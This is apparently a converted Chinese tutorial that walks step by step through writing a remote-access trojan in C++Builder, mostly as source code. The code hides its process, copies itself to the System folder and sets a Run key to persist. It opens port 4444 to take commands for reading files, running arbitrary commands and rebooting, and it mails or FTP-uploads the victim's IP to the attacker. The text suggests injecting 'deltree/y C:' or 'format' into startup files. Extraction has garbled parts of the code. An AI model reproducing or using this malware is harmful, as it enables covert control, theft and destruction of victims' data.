认识木马并学会编写木马.doc

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1、木马是如何编写的(一)特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷, 使在DosWindows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。我那时在电脑报上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!要知道,木马(Trojan)的历史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取

2、得更高的权限。那时木马的主要方法是诱骗先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成服务器程序(Server)和客户端程序(Clie

3、nt),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。首先是编程工具的选择。目前流行的开发工具有C+Builder、VC、VB和Delphi,这里我们选用C+Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小

4、组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈难道你还给受害者传一个1兆多的动态链接库Msvbvm60.dll吗?启动C+Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Pr

5、otocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为

6、Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。首先判断目标机的操作系统是Win9x还是WinNt:DWORD dwVersion = GetVersion();/ 得到操作系统的版本号if (dwVersion = 0x)/ 操作系统是Win9x,不是WinNt typ

7、edef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);/定义RegisterServiceProcess()函数的原型HINSTANCE hDLL;LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;hDLL = LoadLibrary(KERNEL32);/加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAdd

8、ress(hDLL,RegisterServiceProcess);/得到RegisterServiceProcess()函数的地址lpRegisterServiceProcess(GetCurrentProcessId(),1);/执行RegisterServiceProcess()函数,隐藏本进程FreeLibrary(hDLL);/卸载动态链接库这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%

9、目录下,例如:C:WindowsSystem,并修改注册表,以便启动时自动加载:char TempPathMAX_PATH;/定义一个变量GetSystemDirectory(TempPath ,MAX_PATH);/TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径SystemPath=AnsiString(TempPath);/格式化TempPath字符串,使之成为能供编译器使用的样式CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+Tapi32.exe).c_str() ,

10、FALSE);/将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来Registry=new TRegistry;/定义一个TRegistry对象,准备修改注册表,这一步必不可少Registry-RootKey=HKEY_LOCAL_MACHINE;/设置主键为HKEY_LOCAL_MACHINERegistry-OpenKey(SoftwareMicrosoftWindowsCurrentVersionRun,TRUE);/打开键值SoftwareMicrosoftWindowsCurrentVersionRun,如果不存在,就创建之try/如果以下语句发生异常,跳至c

11、atch,以避免程序崩溃if(Registry-ReadString(crossbow)!=SystemPath+Tapi32.exe) Registry-WriteString(crossbow,SystemPath+Tapi32.exe); /查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe/如果不是,就写入以上键值和内容catch(.)/如果有错误,什么也不做好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。接着选中ServerSocket控件,

12、在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 _)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。

13、再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:FILE *fp=NULL;char * content;int times_of_try;char TempFileMAX_PATH;/定义了一堆待会儿要用到的变量sprintf(TempFile, %s, AnsiString(SystemPath+AnsiString(Win369.BAT).c_str();/在%System%下建立一个文本文件Win369.bat,作为临时文件使用AnsiString temp=Socket-ReceiveText();/接收客户端(攻击者,也就是你

14、自己)传来的数据好,大门敞开了!接着就是修改目标机的各种配置了!_ 首先我们来修改Autoexec.bat和Config.sys吧:if(temp.SubString(0,9)=edit conf)/如果接受到的字符串的前9个字符是“edit conf”int number=temp.Length();/得到字符串的长度int file_name=atoi(temp.SubString(11,1).c_str();/将第11个字符转换成integer型,存入file_name变量/为什么要取第11个字符,因为第10个字符是空格字符content=(temp.SubString(12,numbe

15、r-11)+n).c_str();/余下的字符串将被作为写入的内容写入目标文件FILE *fp=NULL;char filename20;chmod(c:autoexec.bat,S_IREAD|S_IWRITE);chmod(c:config.sys,S_IREAD|S_IWRITE);/将两个目标文件的属性改为可读可写if(file_name=1)sprintf(filename,%s,c:autoexec.bat);/如果第11个字符是1,就把Autoexec.bat格式化else if(file_name=2)sprintf(filename,%s,c:config.sys);/如果第

16、11个字符是1,就把Config.sys格式化times_of_try=0; /定义计数器while(fp=NULL)/如果指针是空fp=fopen(filename,a+);/如果文件不存在,创建之;如果存在,准备在其后添加/如果出错,文件指针为空,这样就会重复times_of_try=times_of_try+1;/计数器加1if(times_of_try100) /如果已经试了100次了,仍未成功 Socket-SendText(Fail By Open File); /就发回“Fail By Open File”的错误信息 goto END; /跳至END处fwrite(content

17、,sizeof(char),strlen(content),fp);/写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!fclose(fp);/写完后关闭目标文件Socket-SendText(Sucess);/然后发回“Success”的成功信息 你现在可以通过网络来察看目标机上的这两个文件了,并且还可以向里面随意添加任何命令。呵呵,这只不过是牛刀小试罢了。朋友,别走开!(未完待续)上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲啰:else if(temp.SubS

18、tring(0,3)=dir)/如果前3个字符是“dir”int Read_Num;char * CR_LF=n;int attrib;char *filename;DIR *dir;struct dirent *ent;int number=temp.Length();/得到字符串的长度AnsiString Dir_Name=temp.SubString(5,number-3);/从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名if(Dir_Name=)/如果目录名为空Socket-SendText(Fail By Open DIRs Name);/返回“Fail B

19、y Open DIRs Name”信息goto END;/跳到ENDchar * dirname;dirname=Dir_Name.c_str();if (dir = opendir(dirname) = NULL)/如果打开目录出错Socket-SendText(Fail by your DIRs name!);/返回“Fail By Your DIRs Name”信息goto END;/跳到ENDtimes_of_try=0;while(fp=NULL)/如果指针是NULLfp=fopen(TempFile,w+);/就创建systemWin369.bat准备读和写;如果此文件已存在,则会

20、被覆盖times_of_try=times_of_try+1;/计数器加1if(times_of_try100)/如果已经试了100次了,仍未成功(真有耐心!)Socket-SendText(Fail By Open File);/就发回“Fail By Open File”的错误信息goto END;/并跳到END处 while (ent = readdir(dir) != NULL) /如果访问目标目录成功 if(*(AnsiString(dirname).AnsiLastChar()!=) /如果最后一个字符不是“”,证明不是根目录filename=(AnsiString(dirname

21、)+ent-d_name).c_str();/加上“”字符后将指针指向目录流 elsefilename=(AnsiString(dirname)+ent-d_name).c_str();/如果是根目录,则不用加“” attrib=_rtl_chmod(filename, 0); /得到目标文件的访问属性 if (attrib & FA_RDONLY) /“&”字符是比较前后两个变量,如果相同返回1,否则返回0fwrite( R,sizeof(char),3,fp);/将目标文件属性设为只读 elsefwrite( ,sizeof(char),3,fp);/失败则写入空格 if (attrib

22、& FA_HIDDEN)fwrite(H,sizeof(char),1,fp);/将目标文件属性设为隐藏 elsefwrite( ,sizeof(char),1,fp);/失败则写入空格 if (attrib & FA_SYSTEM)fwrite(S,sizeof(char),1,fp);/将目标文件属性设为系统 elsefwrite( ,sizeof(char),1,fp);/失败则写入空格 if (attrib & FA_ARCH)fwrite(A,sizeof(char),1,fp);/将目标文件属性设为普通 elsefwrite( ,sizeof(char),1,fp);/失败则写入空

23、格 if (attrib & FA_DIREC)fwrite( ,sizeof(char),9,fp);/将目标文件属性设为目录 elsefwrite( ,sizeof(char),9,fp);/失败则写入空格 fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp); /将目录名写入目标文件 fwrite(CR_LF,1,1,fp); /写入换行 fclose(fp); /关闭文件 closedir(dir); /关闭目录 FILE *fp1=NULL; times_of_try=0; while(fp1=NULL) fp1=fopen(Te

24、mpFile,r);/打开Win369.bat准备读times_of_try=times_of_try+1;/计数器加1if(times_of_try100) /如果已经试了100次了,仍未成功 Socket-SendText(Fail By Open File); /就发回“Fail By Open File”的错误信息 goto END; /并跳到END处 AnsiString Return_Text=; char temp_content300; for(int i=0;i300;i+) temp_contenti=0; /定义的一个空数组 Read_Num=fread(temp_con

25、tent,1,300,fp1); /从目标文件中读入前300个字符 while(Read_Num=300) Return_Text=Return_Text+temp_content; /Return_Text变量加上刚才的300个字符 for(int i=0;iSendText(Return_Text); /返回Return_Text变量的内容够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):else if(temp.SubString(0,4)=type

26、)/如果前4个字符是“type”int Read_Num;int number=temp.Length();AnsiString File_Name=temp.SubString(6,number-4);/将目标文件流存入File_Name变量中times_of_try=0;while(fp=NULL)fp=fopen(File_Name.c_str(),r);/打开目标文件准备读times_of_try=times_of_try+1;/计数器加1if(times_of_try100)/如果已试了100次了Socket-SendText(Fail By Open File);/返回“Fail

27、By Open File”的错误信息goto END;/跳到ENDAnsiString Return_Text=;char temp_content300;for(int i=0;i300;i+) temp_contenti=0;/定义一个空数组Read_Num=fread(temp_content,1,300,fp);/从目标文件中读入前300个字符while(Read_Num=300)Return_Text=Return_Text+temp_content;/Return_Text的内容加上刚才的字符for(int i=0;iSendText(Return_Text);/返回Return_

28、Text的内容,即你查看文件的内容咳咳!累死了!还是来点轻松的吧操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):else if(temp=open)/如果收到的temp的内容是“open”mciSendString(set cdaudio door open, NULL, 0, NULL);/就弹出光驱的托盘else if(temp=close)/如果收到的temp的内容是“close”mciSendString(Set cdaudio door closed wait, NULL, 0, NULL);/就收入光驱的托盘。当然你也可以搞个死循环

29、,让他的光驱好好活动活动!_接着就是交换目标机的鼠标左右键,代码如下:else if(temp=swap)SwapMouseButton(1);/交换鼠标左右键,简单吧?然后就是使目标机重新启动。但这里要区分WinNt和Win9xNT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:else if(temp=reboot)/如果收到的temp的内容是“temp”DWORD dwVersion = GetVersion();/得到操作系统的版本号if (dwVersion 100)Socket-SendText(Fail By Open Fi

30、le);/返回“Fail By Open File”的信息goto END;/跳到ENDfwrite(temp.c_str(),sizeof(char),strlen(temp.c_str(),fp);/写入欲执行的命令fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);/写入换行符fclose(fp);/关闭Win369.batsystem(TempFile);/执行Win369.batSocket-SendText(Success);/返回“Success”信息你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一

31、个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 _):END:;Socket-Close();/关闭服务ServerSocket1-Active =true;/再次打开服务if (NMSMTP1-Connected) NMSMTP1-Disconnect();/如果SMTP服务器已连接则断开NMSMTP1-Host = ;/选一个好用的SMTP服务器,如16

32、3、263、sina和btamailNMSMTP1-UserID = ;/你SMTP的IDtryNMSMTP1-Connect();/再次连接catch(.)goto NextTime;/跳到NextTimeNMSMTP1-PostMessage-FromAddress =I dont know!;/受害者的Email地址NMSMTP1-PostMessage-FromName = Casualty;/受害者的名字NMSMTP1-PostMessage-ToAddress-Text = crossbow;/将信发到我的邮箱,这一步很关键NMSMTP1-PostMessage-Body-Text

33、 = AnsiString(Server Running on:) + NMSMTP1-LocalIP ;/信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接NMSMTP1-PostMessage-Subject = Server Running Now!;/信的主题NMSMTP1-SendMail();/发送!return;/返回NextTime:NMFTP1-Host = ;/你的FTP服务器的地址NMFTP1-UserID = ;/你的用户IDNMFTP1-Port = 21;/FTP端口号,一般为21NMFTP1-Password = ;/你的FTP的密码if

34、(NMFTP1-Connected) NMFTP1-Disconnect();/如果已连接就断开tryNMFTP1-Connect();/再连接catch(.) return; /返回AnsiString SendToSite = Server Running on: + NMFTP1-RemoteIP;/受害者的IP地址FILE * Upload;Upload = fopen(NMFTP1-RemoteIP.c_str(),w+);/创建一个新文件准备写,如果已存在就覆盖fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Up

35、load);/写入以上的SendToSite的内容fclose(Upload);/写完后关闭此文件NMFTP1-RemoveDir(public_html);/删除public_html目录NMFTP1-Upload(NMFTP1-RemoteIP, NMFTP1-RemoteIP);/上传!啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:#include stdlib.h#include dirent.h#include fcntl.h#include dos.h#include sysstat.h#include winbase.h#inc

36、lude stdio.h#include process.h#include io.h#include mmsystem.h至此,服务器端(Server)程序已全部完工!(终于可以好好歇歇了!)别慌!以上代码只是完成了整个木马程序的一半。(“扑通”,有人晕倒了!)下面我们就将乘胜追击搞定客户端程序(Client)!客户端程序其实是很简单的。另新建一个Form,添加一个ClientSocket(和ServerSocket在相同的页下),再添加四个Editbox,命名为Edit1,Edit2,Edit3和Edit4,最后添加一个Button,Caption为“发送”。Edit1是输入命令用的,Edit2是准备输入目标机的IP地址用的,Edit3是输入连接端口号用的,Edit4是用来输入欲添加的语句或显示命令执行的结果的。(头是不是有点大了?!)双击Button1,在Button1Click事件中添加如下代码:if(Edit2-Text=)|(Edit3-Te

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